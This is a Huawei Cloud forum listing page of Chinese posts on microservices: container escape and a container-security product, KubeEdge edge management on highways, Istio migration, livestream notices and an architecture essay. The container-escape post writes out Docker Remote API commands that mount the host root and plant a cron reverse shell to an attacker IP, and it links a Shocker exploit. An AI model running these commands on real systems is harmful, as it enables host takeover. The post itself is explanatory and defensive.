• [干货汇总] 【微服务系列】云原生2.0时代:企业更应了解一下容器安全
    >摘要:云原生2.0时代,任何企业都可以成为“新云原生企业”,作为云原生的代表技术之一的容器,每个企业都应该对容器安全有所了解。本文分享自华为云社区《[云原生2.0时代:企业更应了解一下容器安全](https://huaweicloud.blog.csdn.net/article/details/114066177)》,原文作者:华为助力企业上云。 随着云原生技术的成熟和市场需求的升级,云计算的发展已步入新的阶段,云原生2.0时代已经到来。从技术角度看,以容器、微服务以及动态编排为代表的云原生技术蓬勃发展,成为赋能业务创新的重要推动力,并已经应用到企业核心业务。从市场角度看,云原生技术已在金融、制造、互联网等多个行业得到广泛验证,支持的业务场景也愈加丰富,行业生态日渐繁荣。云原生2.0是企业智能升级的新阶段,企业云化从“ON Cloud”走向“IN Cloud”,新生能力与既有能力有机协同、立而不破,实现资源高效、应用敏捷、业务智能、安全可信,成为“新云原生企业”。 云原生2.0时代,任何企业都可以成为“新云原生企业”,作为云原生的代表技术之一的容器,每个企业都应该对容器安全有所了解。 传统的虚拟机能够基于虚拟化技术更加有效的利用硬件计算资源,可以实现云租户的隔离与资源共享。相比虚拟机来说,容器更轻、更快,但是作为一种新技术,容器的安全防护也与虚拟机所有不同。 # 容器 VS 虚拟机 容器与虚拟机具有相似的资源隔离和分配价值,但容器的作用不同,因为容器是虚拟化操作系统而不是硬件。容器更便携,更高效。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382730941155532.png) 容器VS虚拟机 虚拟机(VM)是对物理硬件的抽象,将一台服务器转化为多台服务器。Hypervisor允许在一台机器上运行多个虚拟机。每个虚拟机都包含操作系统、应用程序、必要的二进制文件和库的完整副本,占用数十GB的空间。虚拟机启动速度也比较慢。 容器是应用程序层的一个抽象,将代码和依赖打包在一起。多个容器可以运行在同一台机器上,与其他容器共享操作系统内核,每个容器在用户空间中作为隔离的进程运行。容器比虚拟机占用更少的空间(容器镜像通常只有几十MB大小),可以处理更多的应用程序。 # 容器逃逸 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382756697613912.png) 容器逃逸,是容器技术启用以来一直被关注的问题,甚至被认为是容器的首要安全问题。所谓“逃逸”,指的是“流氓”容器/虚拟机尝试突破隔离环境的限制,访问宿主系统或者在同一个系统上的同驻容器或虚拟机。从而造成敏感信息泄露,或者系统及服务发生DOS的行为。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382767369633386.png) 但正是由于容器与宿主系统共享内核,因此容器与宿主机有着更大的接触面,隔离层次更少,更容易从容器内实施逃逸攻击。因此,如何解决容器逃逸安全风险,避免容器逃逸攻击带来的损失是容器安全中最为重要的一个问题。 # 容器逃逸常用手段 ## (1)通过容器自身漏洞及内核漏洞逃逸 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382798634570812.png) 攻击的主要途径之一就是利用漏洞,通过程序设计或实现的缺陷来执行非法操作,容器逃逸也不例外。容器自身漏洞是其利用进行逃逸的路径之一,同时由于容器共享宿主系统内核,因此内核漏洞是其逃逸的另一路径,同时由于内核漏洞的数量远远大于容器自身漏洞,因此内核漏洞甚至成为容器逃逸更为主要的一个手段。 **1)利用容器漏洞逃逸 – shocker攻击** Shocker攻击是容器逃逸最著名的案例,其本质是利用了一个不常用的系统调用open_by_handle_at,同时借助docker1.0前版本并未限制CAP_DAC_READ_SEARCH能力,并将容器启动时会挂载宿主机文件到容器内(如旧版本的/.dockerinit,新版本的/etc/hosts)作为起点,执行暴力破解攻击,最终获取到要访问的宿主系统文件的句柄信息并进行读取,从而实现逃逸。 Github地址:https://github.com/gabrtv/shocker 容器执行shocker攻击逃逸访问宿主系统/etc/shadow文件: ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382842819272924.png) 2)内核漏洞利用逃逸 – dirtycow攻击 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382854647880885.png) DirtyCow(脏牛漏洞,CVE-2016-5195)是Linux内核中的一个权限提升漏洞,其也可被容器利用实施逃逸。容器利用dirtycow漏洞改写虚拟动态共享库VDSO(Virtual Dynamically Shared Objec),并将shellcode置入其中,当主机系统进程调用并执行修改后的内容时,就会借用此进程身份执行置入的shellcode,并最终在容器内获得一个来自主机的root权限的shell。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383305429739993.png) ## (2)不安全配置引发逃逸 **1)不安全启动,如privileged特权容器** 容器以--privileged参数启动时称为特权容器,特权容器顾名思义具有较高权限,包括对宿主机上的设备的访问权限。因此,攻击者可以直接在容器内mount主机设备并进行文件访问,从而轻而易举实现逃逸。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383328092402604.png) ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383335126936804.png) **2)不安全挂载,如挂载docker.sock到容器** ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383351270304116.png) 图片来源:https://medium.com/better-programming/about-var-run-docker-sock-3bfd276e12fd Docker.sock文件是一个Unix domain socket文件,是Docker daemon默认监听的套接字文件,docker client通过它与docker daemon进行通信。docker client将信息查询和下发命令等请求通过docker.sock发给docker daemon,然后由deamon执行具体请求,包括镜像查询、容器创建等。 将docker.sock挂载到容器内,可以在容器内继续运行一个容器,实现docker in docker,并可在容器内容器启动时通过-v参数将宿主机根目录挂载到容器内,从而在容器内访问宿主机文件,实现逃逸。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383363676589043.png) **3)Docker remote api未授权访问** 默认情况下,docker daemon只允许通过unix domain socket – docker.sock进行本地通信操作,但除此之外,docker daemon也提供了Restful API供远端client访问(daemon通过-H参数指定监听端口),如果未对访问进行权限控制及合规性检查,则攻击者也可以访问这个API执行高危操作,并实施逃逸攻击。 例如一种攻击场景: - 通过Remote API创建一个容器,并将宿主系统根目录挂载到容器内: `# docker -H tcp://$IP:$PORT run -it -v /:/mnt ubuntu /bin/bash` 其中:$IP表示docker daemon服务ip,$PORT表示Remote API监听端口 - 将反弹shell命令写入计划任务文件 `# echo '* * * * * /bin/bash -i >& /dev/tcp/$IP/$PORT 0>&1' >> /mnt/var/spool/cron/crontabs/root` 其中:$IP表示攻击端IP,$PROT表示攻击端监听端口 - 攻击端监听上一步中的$PORT端口,获取来自对端(docker服务所在系统)的具有root权限得反弹shell,并任意访问。 # 华为云容器安全服务CGS之逃逸安全防护方案 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383468117387267.png) # 华为云容器安全服务CGS 华为云容器安全服务CGS构建了容器安全威胁纵深防御体系,提供包括镜像扫描、威胁检测与威胁防护的一整套容器安全能力,提供针对容器的Build、Ship、Run全生命周期保护能力,渗透到整个容器DevOps流程,保证容器虚拟环境从开发到生产整个流程的安全。其中,容器逃逸检测是CGS的核心功能之一,它通过如下手段构建系统化的容器逃逸全面防护能力: ## (1)监控容器不安全配置启动 前文中提到,不安全配置是容器逃逸的一个重要原因。因此,监控容器的不安全启动也是容器逃逸防护的一个重要手段。CGS可以针对容器启动的各种不安全配置进行监控,包括启动特权容器、挂载宿主机文件、安全策略关闭、特权端口映射等,从容器创建伊始就检测逃逸风险,实现整体防护方案第一步。 ## (2)容器行为深度分析 容器启动后,CGS可对容器运行过程中的行为进行实时跟踪和观察,监控容器内的进程运行、文件访问、网络连接、系统调用等行为,并对行为进行深度分析,从行为过程体现出来的特征到行为所产生的结果进行全面分析检测,有效发现容器已知和未知漏洞利用逃逸攻击行为并进行告警。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383503769944724.png) ## (3)容器基线机器学习 一般而言,容器的行为通常固定且纯粹,比如一个提供web服务的容器内可能只会运行一个nginx进程,一个提供DB服务的容器内可能只会运行一个mysql进程,并且进程所执行的操作,包括文件访问、系统调用、网络连接等行为都有固定合理范围,因此可以对容器圈定正常行为范围,构建行为基线。CGS利用机器学习技术,从静态和动态两个维度分析容器正常行为并建立基线,使得基线模型更准确、更完整,然后根据基线跟踪容器行为,感知基线以外的异常行为,实现对攻击行为的全面感知,并有效提升对于容器利用0day漏洞进行逃逸攻击的检测能力。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649383517370124952.png) 华为云CGS容器逃逸方案防护机制内置在防护平台,无需用户参与即可实现容器逃逸系统化检测,具有良好的易用性,同时方案采用事件驱动机制实现性能高、反应快,为容器安全保驾护航。
  • [干货汇总] 【微服务系列】看KubeEdge携手K8S,如何管理中国高速公路上的10万边缘节点
    >摘要:为保证高速公路上门架系统的落地项目的成功落地,选择K8s和KubeEdge来进行整体的应用和边缘节点管理。本文分享自华为云社区《[如何使用Kubernetes管理中国高速公路上的10万边缘节点?](https://huaweicloud.blog.csdn.net/article/details/113683195)》,原文作者:技术火炬手。 # 一、项目背景 本项目是在高速公路ETC联网和推动取消省界收费站的大前提下,门架系统的落地,也就是要把门架部署在覆盖全国范围的高速公路上,收集车辆通行的牌示信息,以及相应的交易信息。 整体的情况是在边缘侧,即高速公路上会部署大量的门架和相应的控制器,相应的边缘终端,这些终端大概10万台,其上部署了相关的应用以收集相关信息。超过50万个应用部署到边缘节点,收集到信息后,通过收费专网向省中心以及路网中心上传对应的数据。 **本次项目的工作挑战主要有两个方面:** 将近10万台异构设备的管理,包括arm,x86等异构设备。 50余万个应用的生命周期管理 **为保证项目的成功落地,我们对整体架构做了选型,最终选择了K8s和KubeEdge来进行整体的应用和边缘节点管理。** # 二、为什么选择Kubernetes 在项目里,虽然说是部署在边缘侧的应用,但它的复杂程度已经和云上是类似的了,在边缘侧部署的应用已经是由很多个微服务组成的。所以Kubernetes对于支撑这种微服务化的、云原生化的应用部署和大规模管理的能力,同样也适用于这个项目在边缘侧的使用。 **具体来说,有一些典型的部署需求:** - 双机热备 - 多机多活互备 - 有关联的应用同节点部署以提升应用间交互效率 - 同一应用的不同实例跨节点部署以提升可用性 - 依据边缘节点的不同属性将应用部署于不同分组中 - 定义独立于节点的应用部署以及实现满足条件的新边缘节点上线后自动安装应用 **这些需求,用K8s的这些Deployment、Pod、ReplicaSet、DaemonSet等核心对象来表示,是非常适合的。所以我们就选择了Kubernetes。** 当然,还有一些重要的边缘侧特有的需求是原生的Kubernetes不具备的,但Kubernetes的架构是非常好的,易于扩展,灵活性很高,可以基于原生Kubernetes架构基础,根据边缘管理的特殊需求进行扩展。 # 三、为什么选择KubeEdge **一是业务自身的特点来决定的。** 这个业务的量非常大,涉及的边缘节点分布在全国各地,所以它的边缘侧是多硬件架构、多厂家的,我们需要异构的支持; 边缘工控机低至4核ARM SOC、1G可用内存,我们需要低资源占用的方案来管理边缘侧的节点;管理运维复杂,从路网中心到最终路段,分为6级管理层次,管理成本高,我们需要高集成度边缘的方案,让边缘足够简单,把出问题的概率降到最低,降低运维成本。 **二是从边缘环境的特点来看的。** 从网络的角度来看,网络分为部省、省站两层,多次转发,我们需要边缘接入具有高灵活性,可支持专线、代理、公网、有线和无线接入等多种方式;各地基础设施的建设不同,有些省份的网络带宽低至3M,我们需要边缘和云之间的管理带宽占用降到最低;有些高速公路上的网络条件是非常差的,经常出现断网的情况。我们需要边缘方案有离线自治的能力。 # 四、整体方案 接下来我会把整体方案打开成几层来分别介绍。 **应用部署** 首先是应用部署,就像我刚才说的,在边缘侧要部署的业务非常复杂,它是由多个微服务所构成的云原生化的架构。所以我们这些微服务以及中间件都容器化之后可以非常好的适应各种不同的异构操作系统,方便统一管理。 如下图所示,微服务架构分成前端和后端,前端主要把业务通过Deployment的方式部署到门架上,与后端之间是通过EdgeMesh实现的。通过这种服务发现的方式,实现微服务前后端业务的通信。而后端业务容器本身是无状态的,可以通过Deployment来部署。 后面的Redis包括MySql就可以通过Statefulset的方式来进行部署。通过这样的部署模型,我们可以很完美的进行封装和自动化管理高可用的边缘侧的整套业务系统。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382278448672122.png) 但如果仅仅是用原生的K8s部署方式,并不能完全满足我们的需求,因为在项目里要部署的量非常大,左图的环境只是应用于一个收费站,而一个路段要管理几百上千个收费站,逐个部署成本过高。所以我们基于K8s之上又构建了一个任务工作流的引擎系统,把每一个部署微服务的步骤定义为一个job。用批量的方式大量、快速部署成百上千个同样的微服务系统和环境。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20224/8/1649382291266499567.png) **大规模节点接入** 除了上面提到的挑战,在应对大规模节点接入的情况下也遇见过一些问题: 每个省有自己的管理权限,我们按K8s集群的配置配了多个K8s集群来进行管理,一个省对应一个K8s集群,然后在K8s之上通过统一的管理层处理复杂跨集群数据统计等操作,从中心侧管理每个省的边缘侧,这就是多集群的管理手段。 我们曾遇见一种现象,路网中心或省中心做网络升级等动作之后,网络有时候会出现问题,所有省的边缘节点,失去与K8s的连接,等网络恢复之后,又会发生所有节点同时连接中心侧的K8s集群,引起大量的并发连接,对中心侧的系统造成冲击,导致应用异常。为了应对这种情况,我们通过动态退避算法缓解节点同时接入所形成的流量冲击。 需要精简NodeStatus和PodStatus上报的信息。就前文所提到的,各地基础设施的建设不同,有些省份的网络带宽低至3M,所以我们需要减小状态信息的大小,降低上报流量的冲击,降低对网络的影响。 镜像仓库Mirror分级加速,有效降低了对网络的冲击,提高大批量部署的部署效率。 **边缘业务高可用** 接下来的是边缘业务高可用,按照原生K8s的升级状态,它会先删除旧版本Pod,再创建新Pod并在这个过程中去拉取新版本镜像。这种操作在公有云网络条件较好的情况下,是没太大问题的。但在边缘侧,这样就会造成业务长时间的中断,收费数据缺失。所以针对这一个流程,我们也是做了相应的升级和优化。 我们先把升级下载镜像的通知下发做预下载,下载成功之后再删除已有的旧Pod,启动新应用,优化了应用升级对服务中断的时间的影响,将业务升级时整体业务中断的时间从分钟级缩减到了10s内。 同时,考虑到边缘设备有主备部署的情况,而边缘侧又不像云上有ELB服务。我们又在边缘节点中容器化部署了Keepalived,通过VIP,为门架的摄像头等设备提供对应的K8s集群内的容器服务。 # 五、总结 当前基于KubeEdge的边缘管理系统管理着全国29个省、市 、自治区的将近100,000个边缘节点,超过500,000边缘应用的部署。支撑了高速公路门架业务的不断调整、更新,满足了每日3亿条以上的信息采集。 为日后车路协同、自动驾驶等创新业务的发展提供了良好的平台支撑。 K8s提供的通用部署和调度模型很适合部署大规模边缘应用。 单纯原生K8s不能满足边缘侧业务的所有需求,KubeEdge集成K8s云原生管理能力,同时对边缘业务部署和管理提供了很好的支持。
  • [热门活动] 华为云大咖带你玩转微服务架构,今天晚上19:00,与你相约直播间!
    今天晚上19:00,与你相约直播间华为云大咖带你玩转微服务架构get 企业应用架构的演进过程、典型微服务框架介绍、华为云应用管理与运维服务等干货内容还没报名活动的同学,抓紧时间加入——华为云云原生入门级开发者认证人才计划与大咖交流,与学霸同行,不断修炼自己,终究活成自己喜欢的模样!https://edu.huaweicloud.com/signup/521bd9a32c9345d5b240d4173e67437a
  • [交流吐槽] 直播-华为云大咖带你玩转微服务架构
    直播时间:2022/3/31  19:00-21:00直播嘉宾:路老师 华为云高级讲师直播简介:本直播为华为云云原生入门级开发者认证人才计划活动第7场直播,本直播将由华为云高级讲师路老师给大家分享企业应用架构的演进过程、典型微服务框架介绍、华为云应用管理与运维服务等干货内容,带你玩转微服务架构!直播链接:https://bbs.huaweicloud.com/live/edu_live/202203311900.html 活动介绍:面向高校学生、个人开发者、企业开发及运维人员,华为云即将推出云原生入门级开发者认证(HCCDA - Cloud Native),从开源组件到华为云上服务的介绍,使您掌握云原生的核心理念和架构,具备基本开发实践能力。为帮助开发者学习并顺利通过认证,华为云开发者学堂上线“云原生入门级开发者认证人才计划”赋能学习活动,收获知识干货、拿到官方证书的同时还有机会赢取更多精美奖品!
  • [知识分享] 【微服务系列】详解4种微服务框架接入Istio方案
    本文分享自华为云社区《[传统微服务框架接入Istio方案详解](https://bbs.huaweicloud.com/blogs/337177?utm_source=zhihu&utm_medium=bbs-ex&utm_campaign=other&utm_content=content)》,作者:香菜聊游戏 。 # 微服务的概念和原理 ## 微服务带来的问题 **微服务带来的好处:** 解耦了业务,解耦了代码和架构,业务更紧凑,逻辑更单一简单。 **微服务带来的问题:** 在早期的时候,使用单体架构,所有的业务都在一个服务内,没有跨进程和网络上的一些复杂度。 微服务化之后引入的问题包括如何做服务发现,怎么做负载均衡,包括服务间的访问保护,例如熔断,故障定位等等问题。 在故障定位时,在原来单体服务下只需要看下日志,但是微服务化之后需要借助分布式调用链工具,这无形中带来了开发和定位问题的复杂度。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648172893747136548.png) **微服务和lstio网格架构对比** ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648172910258181295.png) 微服务框架我们了解比较多的Spring cloud 或者国内用的比较多的Dubbo,框架本身就不多介绍了,我想大家都有所了解。 原理就是提供了开发的SDK或者说叫框架,这些框架都是内置了一些解决微服务问题的方案,比如服务发现,负载均衡,服务的熔断和降级,以及调用链路的埋点,动态路由这些事情。 下图是一个典型的用法,也是应用非常广泛的用法 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648172924592109894.png) 基于网格的治理是近些年应用比较多的,从上图可以看出,虽然基于网格的治理提供的能力和上图的基于sdk的能力一样,但是两者的设计原理,使用场景,设计理念是不同的。 # 详细介绍 ## 服务发现和负载均衡 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648172946950218939.png) 上图是传统的微服务框架的原理 一般的流程是: • 服务启动的时候向服务中心进行注册 • 调用的时候先从服务中心获取后端服务的地址 • 选择一个实例发送请求,等待回复 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648172971697244448.png) 服务网格的工作原理: 服务网格一般和k8s结合使用,因为k8s 本身做了服务的endpoint 维护,所以lstio不需要做服务注册,只需要做服务发现。 看下详细的区别 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648172983057758844.png) **服务熔断** ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173014022563261.png) 服务熔断的机制: 如果一个服务在配置的一段时间内一直不可用,可以通过熔断机制,把服务隔离开,接触不到流量,进入到半熔断状态, 如果在一定的考察时间段能够恢复正常,熔断状态就会关闭,如果还是不能正常,会继续进入到熔断状态。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173025636281188.png) # 传统微服务框架的问题和基于服务网格的解决方案 **问题1:微服务SDK的多语言问题** ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173045760911718.png) 上面这张图示意了微服务的之间的关系,一些大的客户拥护大的系统,系统由多个服务组成,服务可能由多种语言开发。 比如系统中可能有go服务,C++服务,python服务以及spring cloud 服务等等,这是一种比较常见的情况。 在这些服务中想做一个通用的服务发现时,但是Spring cloud或者Dubbo开发的服务,有一套自己的服务发现机制,但是不同语言开发的服务之间发现框架是不同的,比如go服务开发的服务不可能去spring cloud的服务中心注册,这个问题没办法解决。 比较粗暴的解决办法是对其他语言的项目用Java重构,在项目不复杂的情况下是可以接受的,但是在系统业务比较复杂,需要修改的项目比较多的情况下是无法接受的,不仅需要大量的人力,还要花费大量的时间,服务的稳定性没法保证。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173056841925038.png) 服务网格的解决方案下,服务发现是业务解耦的,不管是什么语言开发的服务,因为proxy不需要参与编译,网格之间只需要开放端口,并且保持可以访问,在这种方案下,不需要修改原来代码,减少了开发量,是企业可以接受的。 **问题2:基于sdk的服务在k8s下出现延迟和数据不一致** ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173073450569182.png) 在上图这种情况下,Consumer服务原来在pod1 上,后来由于调度问题,导致Consumer服务迁移到pod2 上,正常情况下pod1 需要注销,pod2 进行重新注册,但是如果pod 迁移比较频繁,导致Producer 在访问Consumer服务的时候仍然拿到老的注册地址,就会出现延迟和数据不一致的情况。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173082735445456.png) **问题3:基于SDK逻辑开发的服务升级必须重新编译** ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173142036639477.png) 基于SDK开发的逻辑代码进行升级的时候,必须重新编译所有基于SDK开发的服务,这个升级会带来大量的工作量,SDK的升级过程必须要和业务团队一起升级,非常耗时。产生的需求就是如果业务代码没有改变的情况下不需要重新编译。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173153337627183.png) 使用网格的解决方案下,如果业务没有修改是不需要进行编译和修改的,对开发人员和运维来说是非常友好的,同时降低了运维的风险,毕竟任何改动都是风险。 **问题4:基于SDK开发,统一发现和治理能力,需要全部改造** ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173166300440438.png) 如果对一个单体应用进行微服务化,一般是渐进微服务化,比如上图,一般先对svc1进行微服务化,然后再对svc2 进行微服务化,在开发的过程中需要仍然访问互通,但是使用SDK的微服务有时需要使用同一框架,同一版本才能进行通信交互,这就是痛点。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173174232589949.png) 在使用网格的情况下,第一步先对svc1进行微服务化,svc2不改动,在开发的期间仍然不影响原来的访问。 # 传统微服务框架在服务网格中集成的实践详情 **总体思路** ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173194399917971.png) 卸载SDK的服务发现和服务治理的功能,将这些功能迁移到基础设施上,让用户从这些中解脱出来,只专注于自己的业务代码。 **解决方案** ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173206617415069.png) ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173231925154426.png) 传统微服务的发现是注册到注册中心 在使用网格之后,平台同一服务发现,使用kube-proxy进行服务发现和负载均衡,Kube-proxy 直接返回服务的ip和端口,这样的话就消除容器环境下服务发现数据不及时的问题。 在使用k8s做服务发现,再使用网格的能力,服务完全无需修改适配 **Spring cloud项目的改造** ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173251864677119.png) 在原来的配置中,取消对注册中心的注册,改为直接使用服务名:端口进行访问,直连的这种方式会被k8s 进行转发,对业务代码无需修改,减少了工作量。 注意:**要和访问的服务保持协议一致。** **移除spring cloud 的项目依赖** ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173273991517518.png) **微服务网关的改进** ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173288079137091.png) 情况1:微服务网关有业务逻辑 写了很多自定义的逻辑,比如filter的过滤等等,这种情况下网关可以作为普通的微服务部署在网格内。 情况2:微服务只有通用逻辑能力 直接用Ingress进行替换,进行地址映射,路径映射等基础能力,移除原来的网关。 **集成微服务注册中心到网格** 由于有些项目开发架构自成体系,不太适合直接排除原来的基础能力,在这种情况下想使用网格的能力,需要把原来的注册中心导入。Istio从微服务的注册中心导入注册数据,并且转换格式存储,在这种情况下依然可以配置相同的治理规则。 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173305397667851.png) # 总结 使用k8s和lstio网格进行开发,将服务发现,服务治理留给基础设施,可以将开发人员从复杂的服务中解脱出来,专注于业务开发,是当前来说比较好的解决方案。 视频地址:https://education.huaweicloud.com/courses/course-v1:HuaweiX+CBUCNXI055+Self-paced/courseware/511f6f06d97d4aaf9b90445dca5800d1/c08eb6fa0dd14a34bd617c6beb63a923/
  • [技术干货] 5分钟通过水痘事件来认识系统架构[转载]
    链接:https://bbs.huaweicloud.com/blogs/335401事情是这样的,最近学委居然被水痘病毒拿下了。。。哎,之前生活作息没把握好节奏,写文章后太兴奋了有时候睡不着,休息不足免疫力就下降,只能说写文章是一把双刃剑。(也奉劝各位读者朋友们注意休息,身体健康最重要!)好,暂时放下这把剑,去看医生。被告知这是常见病毒,只是偶尔有些人免疫力下降没抵抗住,就会被感染。不是说系统架构吗???先看下图,请带着这个问题继续看吧。(学委就是里面那个冒红的块,其他都是正常健康的同事们)水痘是什么?水痘是一種急性高度傳染性疾病,症状就是会发痒发红,通常得过一次就一般不会再感染。(学委不是水痘专家,这里只是简单摘述)我小时候肯定是打过疫苗的,但是没想到N年后居然被再次攻击了!得了水痘之后周围发生了什么?下面是整个事件。周五发现腰部有点痒,长了一小块痱子(只觉得是小问题),恰巧约了朋友周一吃饭。下周一,还没有好挂了号。我跟两个朋友吃饭,检查完马上告诉他们(告诉哥们要酒精消一下毒)那天差不多下班单位立马安排了消毒,让周围的同事一周内在家上班。也让学委在家多注意休息,不过问题不大暂时没有休假,继续在家里上班了。部门上报并通报了这个事件,呼吁大家注重休息和生活卫生。那么,这关系统什么事???公司其实就像一个系统,部门就像一个服务群,而学委就是里面的一个微服务。当然这个平台也有几个类似学委这样的微服务(就像下图一样,蓝色框内为一个公司,里面很多打工人,箭头为服务间交互)。上图,除了学委这个服务变红了,其他服务还是绿色的,正常运转的状态。(请再看一眼这个图,后文会继续讲学委跟几个同事交互之后的变化)遇到问题,让系统尽量不崩溃,保持正常或者近乎正常的运行,是每个架构师必须做好的事情。这里,有必要了解系统思维所谓系统思维(System Thinking),就是把某个疑问、某种状况或某个难题明确地视为一个系统,也即是视为一组相互关联的实体,而不是孤立的一个对象。在公司,每个职能部门,处理应对业务,应对一个一个问题。这就像及了应对一个问题的整体架构!系统思维的初级目标是理解系统是什么,更进一层的目标是为了预测系统在发生某些变化之后的情况。而最高级的目标,则是用部件来合成一个系统,这个过程就是系统架构。每个员工个体就是部门里面的一个个服务,当然职能还有前端,后端,业务分析人员,架构师,和其他管理等等,这些相当于不同类型的实例。这些公共协作对外为处理系列问题的一个系统!针对这个bug(水痘)的处理?系统级别的处理类似的,我们可以看到在公司做了上面的一些措施,遏制病毒的进一步扩散,避免感染影响更多的微服务。同时把问题上报,公布问题,带来更高级别的关注和避免了更多可能的服务交互。这些行为就像微服务里面进行业务隔离(下图的虚线和实线包起来进行不同级别的隔离),警告展示在大面板(群发公告这个事件),实现中央化统筹一个样啊。服务级别的处理就像雷学委微服务一样,一开始以为长痱子,没多想跟其他服务交互(比如更哥们吃吃饭,回去公司跟小伙伴交流技术)。但是,服务内部有设置状态监控,学委生病一开始以为是腰上长了一点点痱子,没理会,第四天发现还没有好。看病前4天已经约了朋友吃饭,也不知道是啥,所以就去吃饭了。但也没有犹豫下午就请假去看医生了。然后跟确认病情后,通知部门,然后公司安排系列后续处理。我则在家上班,也避免影响其他人。这是一种服务的组件自治的体现,自我管理,自我故障处理,不行再向上汇报。如果以上措施都没有呢?那么就像下图一样,红色为被传播水痘病毒的同事,在系统中体现为多个服务无法正常运转导致整个系统在外部看来是崩溃的。也就是我们常说的挂机了,类似之前B站崩了。有些读者跟着文章读,很容易被带入了,觉不是很自然吗?那么,你可以想想下面的问题?要是没有去看医生呢;要是看医生后忘记及时告诉公司了呢;要是告诉同事,他们没有理会约束呢;要是告诉部门没有任何举动等等。虽然水痘也不是那么吓人,但遇到抵抗力低的照样传播开来,那就影响更多部门,甚至更多系统(公司与公司之间业务交互的影响)。所以,若没有上述处理,这个事情可能影响更大。类似问题可再想想,重新审视一下你所接触过的系统或者项目。比如某一次提交代码,小八(他是新加入项目的)就写了一个for循环,本地测试好好的。放到线上后运行了一段时间后导致一个查单服务Java进程发生OOM。结果调用服务不断重试,自然地把其他查单服务压垮了,最后所有调用方不断重试,还把网关压垮,全员紧急加班查问题。那么有没有什么架构方案是像万金油一样,一劳永逸的呢?答案是没有。生活还是有其他万一的,我们无法都考虑进来。很多技术人员会听到6个9,也就是一年挂机不超过31秒,很难达到吧。 (1-99.9999%)*365*24*60*60=31.5秒(向下取整数)只能说架构应该具有相对的适用性,超前性(N倍性能的弹性设计,但不可能是百倍性能的规划),演化性(平台不是第一天就成为平台)。这不就跟公司成长一样嘛。总结与延伸类似水痘这个bug是无法避免的,因为消除不了,但不属于那种致命问题,有时候也不会被重视。做系统也一样不能说完全没有Bug,只是多数情况下还不是主要矛盾,可以忍受(再没有遇到那个情况触发下)。怎样的架构能过避免出现大规模故障呢?打造高质量服务自我感知,告警,熔断,健壮性等等。这对应于员工则是招聘培训高素质员工必备风险管理方案流量销峰,加缓冲队列,业务隔离,服务隔离,多个服务实例,还有支持伸缩。这对应于公司则是针对故障的一系列高效处理流程:比如合理业务线划分,分布式团队带来错峰弹性,和支持移动办公等等。当然更加弹性更加可用,那么系统的成本就越高了。对应的就是企业增加了管理成本,高素质员工带来的支付更高的薪酬。最后,年轻人如何了解并学习架构呢?对新手来说,看书估计是很难的,你没有到那些问题,看到一些文字估计停留在浅尝辄止!学委觉得最好的方式就是,观察,模仿,找到团队里最厉害的人(可以是架构师,可以是最牛的那个技术)。多跟他交流,思考为什么,他也不一定都对(除了技术,还有工期,团队能力,预算等外界因素)。这个思考的过程,再去看资料,才是更加实战的学习架构经验之道!好了,旨在引发思考。这次水痘经历,让我们看到这个一连串的事情和一系列处理。灵机一动,学委用来类比了系统和微服务的监控,运维,架构设计,也没有全面涵盖!另外更加感兴趣的朋友,可自行去看《系统架构:复杂系统的产品设计与开发》,超级经典的一本,更多还是实战。对了,学委还有这个可以关注长期阅读 =>雷学委趣味编程故事汇编或者=> 雷学委NodeJS系列持续学习持续开发,我是雷学委!编程很有趣,关键是把技术搞透彻讲明白。创作不易,请多多支持,点赞收藏支持学委吧!
  • [技术交流] SpringCloud项目接入华为云微服务引擎CSE
